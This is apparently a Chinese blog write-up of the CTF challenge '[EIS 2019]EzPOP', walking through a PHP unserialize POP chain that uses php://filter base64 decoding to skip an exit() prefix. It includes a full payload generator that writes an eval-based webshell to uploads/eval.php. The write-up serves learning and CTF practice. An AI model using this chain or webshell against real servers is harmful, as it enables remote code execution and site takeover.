当前位置: 首页 > article >正文

[EIS 2019]EzPOP

[EIS 2019]EzPOP

考点:

base64加密,解密的时候按4个的倍数

然后数组里面含有 php代码也可以执行

然后学到了解题思路,逆推然后找各个变量的初始值

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {//
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);//得到公共的数组元素
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);//cache也是没有定义的

        return json_encode([$cleaned, $this->complete]);//complete也没定义  返回的是json解析数据
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);// expire  key也没定义
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];//漏洞点

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

啊又是php反序列化的题目,这么长看的属实头疼。。。进去分析

通常套路直接找链子的尾部,可能执行代码的地方

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

死亡绕过exit,把这段代码进行base64加密就可以,然后把filename控制为php://filter解码base64读取

思路确定,看一下filename 、data是否可控

filename-->        

$filename = $this->getCacheKey($name);--->
return $this->options['prefix'] . $name;---> 这里的name 是 $this->可控

并且options['prefix']也是可控的
$data->

$data = $this->serialize($value); -> 并且serialize在程序中进行了重写
                                  $serialize = $this->options['serialize'] 这个控制

这里面的$value是我们传入的$contents 

而这个$contents就是调用返回的$contents = $this->getForStorage(); json数据

return json_encode([$cleaned, $this->complete]);

这里面的complete也是可以控制的

列出来的一些细节

<?php
function cleanContents(array $contents) {
    $cachedProperties = array_flip([
        'path', 'dirname', 'basename', 'extension', 'filename',
        'size', 'mimetype', 'visibility', 'timestamp', 'type',
    ]);

    foreach ($contents as $path => $object) {
        if (is_array($object)) {
            $contents[$path] = array_intersect_key($object, $cachedProperties);
        }
    }

    return $contents;
}
$a = array();
$b = '<?php eval($_POST["cmd"]);?>';
echo json_encode([clearstatcache($a), $b]);

?>

结果为<?php eval($_POST[\"cmd\"]);?>引号被转义了所以加了一次base64编码

我一直想不明白的一个点就是


[null,"<?php eval($_POST[\"cmd\"]);?>"]

这里返回的是json数据,然后我们是把这个写入文件中的,

本地尝试发现这样竟然可以打通

 

 

payload

<?php

class A {
    protected $store;
    protected $key;
    protected $expire;

    public function __construct($store,$key,$expire)
    {
        $this->key=$key;
        $this->expire=$expire;
        $this->store=$store;
    }
}

class B{
    public $option;
}

$b=new B();
$b->options['serialize']='base64_decode';
$b->options['data_compress']=false;
$b->options['prefix']='php://filter/write=convert.base64-decode/resource=uploads/';

$a=new A($b,'eval.php',0);
$a->autosave=false;
$a->cache=array();
$a->complete=base64_encode('abc'.base64_encode('<?php @eval($_POST["a"]); ?>'));
//必须添加三个字符使得shell之前的字符串进行base64解码时不影响到shell

echo urlencode(serialize($a));

为什么base_encode拼接 'abc'

这里还要了解base64解码特点,base64解码的合法字符只包括[a-zA-Z1-9]+/这64个字符;
1、编码时:把明文每8位按6位查表转码,不足的位数用=补0
2、解码时:忽略[",:等64个字符之外的字符,然后逆运算就行
所以要求编码为4的倍数,由于shell前面的字符串中存在的base64编码有效字符只有php//000000000000exit21个字符,因此应该在shell前补上3个有效字符 

 直接/?data=生成的字符串,然后自动创建了/uploads/eval.php,直接链接webshell,

 


http://www.kler.cn/a/17838.html

相关文章:

  • 利用 Screen 保持 VSCode 连接远程任务持续运行
  • Android 下内联汇编,Android Studio 汇编开发
  • Python网络爬虫与数据采集实战——什么是网络爬虫
  • Golang常见编码
  • 数据库MySQL索引详解
  • 鸿蒙next打包流程
  • Dtop环球嘉年华全球Web3.0分布式私域电商生态发展峰会圆满举办
  • PHP检查目录是否存在?file_exists与is_file、is_dir的区别,以及执行效率的比较
  • 【MySQL--07】内置函数
  • 华为MPLS跨域C1方式RR场景(数据不经过RR)实验配置
  • 【软考数据库】第八章 数据库SQL语言
  • antd-vue - - - - - row-selection的使用
  • 智能座舱的“宏大蓝图”和“残酷现实”
  • 基于R语言的贝叶斯时空数据模型技术应用
  • 3.20 makefile的条件判断及函数使用
  • Nginx基础配置详解(main、events、http、server、location)
  • 圣杯布局和双飞翼布局
  • 企业遇到知识管理困境该怎么办?这里有解决方案!寻找Baklib
  • 一文搞懂TS中的泛型
  • 【Unity编辑器】拓展Inspector视图
  • 【Python百日进阶-Web开发-Feffery】Day617- 趣味dash_17:微型系统--引入flask-login
  • vue+node.js高校青年志愿者管理系统
  • AI来势汹汹,这份「生存计划」请查收!
  • 搭建vue3+vite工程
  • HTTPS协议介绍
  • 4.4——多重继承